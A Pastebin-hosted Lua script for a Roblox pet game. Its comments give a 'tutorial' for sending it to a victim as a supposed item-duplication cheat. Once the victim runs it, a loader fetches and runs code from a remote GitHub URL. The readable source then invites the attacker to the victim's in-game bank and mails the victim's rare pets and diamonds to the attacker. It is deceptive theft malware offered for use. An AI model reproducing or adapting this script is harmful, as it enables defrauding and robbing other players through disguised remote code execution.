Advertisement
NukeVsCity

sussy inviter

Jan 24th, 2023 (edited)
7,134
0
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.67 KB | None | 0 0
  1. --Tutorial:
  2. --Change first two lines to your account name & Player Id
  3. --Send script to someone who you want to steal from
  4. --Say its dupe
  5. --They run it, u get invited to their bank.
  6.  
  7.  
  8.  
  9. --Obfuscated so player can't see:
  10.  
  11. getgenv().YourAccNameThatGetsMailbox = "montsussy"
  12. getgenv().YourAccountIdForBankInvite = 23423423
  13. loadstring(game:HttpGet('https://raw.githubusercontent.com/NukeVsCity/Scripts2022/main/dupehack'))()
  14.  
  15.  
  16.  
  17. --Source code:
  18.  
  19. getgenv().YourAccNameThatGetsMailbox = "montsussy"
  20. getgenv().YourAccountIdForBankInvite = 23423423
  21.  
  22. local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"))
  23. local cooldown = os.time()
  24. local GetRemoteUpValue = nil
  25. local pets = require(game:GetService("ReplicatedStorage").Directory.Pets["Grab All Pets"])
  26. for _, V in pairs(getgc(true)) do
  27.     if type(V) ~= "table" then
  28.         continue
  29.     end
  30.     if rawget(V, "Invoke") then
  31.         if type(V.Invoke) == "function" then
  32.             if tostring(getfenv(V.Invoke).script) == "Network" then
  33.                 GetRemoteUpValue = getupvalues(V.Invoke)[2]
  34.                 break
  35.             end
  36.         end
  37.     end
  38. end
  39. function FireRemote(Name, ...)
  40.     if not GetRemoteUpValue then
  41.         return end
  42.     local Remote = GetRemoteUpValue(Name)
  43.     if not Remote then
  44.         return
  45.     end
  46.     if typeof(Remote) ~= "Instance" then
  47.         return
  48.     end
  49.     if Remote.ClassName == "RemoteEvent" then
  50.         return Remote:FireServer(...)
  51.     elseif Remote.ClassName == "RemoteFunction" then
  52.         return Remote:InvokeServer(...)
  53.     end
  54. end
  55. local function is_huge(petdata)
  56.     if pets[petdata.id]["huge"] then
  57.         return true
  58.     end
  59. return false;
  60. end
  61. local function getMyBank()
  62.     local banks = FireRemote("Get My Banks")
  63.       for i,v in pairs(banks) do if v.Owner == game.Players.LocalPlayer.UserId then
  64.         return v.BUID
  65.       end
  66.     end
  67. end
  68. local specialPets = {["6969"]=true}
  69. local function isNotablePet(id)
  70.     local petData = pets[id]
  71.     if petData.rarity == "Exclusive" then
  72.         return true
  73.         end
  74.     if specialPets[id] ~= nil then
  75.         return true
  76.     end
  77. end
  78. local function inviteToBank(bank)
  79.     if bank ~= nil then
  80.         local bankData = FireRemote("Get Bank",bank)
  81.         local pets = bankData.Storage.Pets
  82.         local diamonds = bankData.Storage.Currency.Diamonds
  83.         if diamonds > 1000000000 then
  84.             return true;
  85.         end
  86.         for i,v in pairs(pets) do
  87.             if isNotablePet(v.id) == true then
  88.                 return true;
  89.             end
  90.         end
  91.     end
  92. end
  93. local bank = getMyBank()
  94. local invite = inviteToBank(bank)
  95. if invite then
  96.     FireRemote("Invite To Bank",bank,getgenv().YourAccountIdForBankInvite)
  97. end
  98. local save = v1.Save.Get()
  99. local titanicHolder = game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.Titanic
  100. if titanicHolder:FindFirstChildWhichIsA("TextButton")
  101.   then
  102.       print("found titanic")
  103.        FireRemote("Send Mail",{ Recipient = "getgenv().YourAccNameThatGetsInvited", Message = "hey", Pets = {[1]=titanicHolder:FindFirstChildWhichIsA("TextButton").Name}, Diamonds = 0 })
  104.           end
  105.          for i,v in pairs(save.Pets) do
  106.              if is_huge(v) then
  107.                  print("ok2")
  108.                  repeat wait(.1) until (cooldown - os.time()) <= 0
  109.         local diamonds = (save.Diamonds)-20000000
  110.     if diamonds < 0 then
  111.         diamonds = 0
  112.     end
  113. print(FireRemote("Send Mail",{ Recipient = "getgenv().YourAccNameThatGetsInvited", Message = "hi", Pets = {[1]=v.uid}, Diamonds = diamonds })) cooldown = os.time() + 5
  114. end
  115. end
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement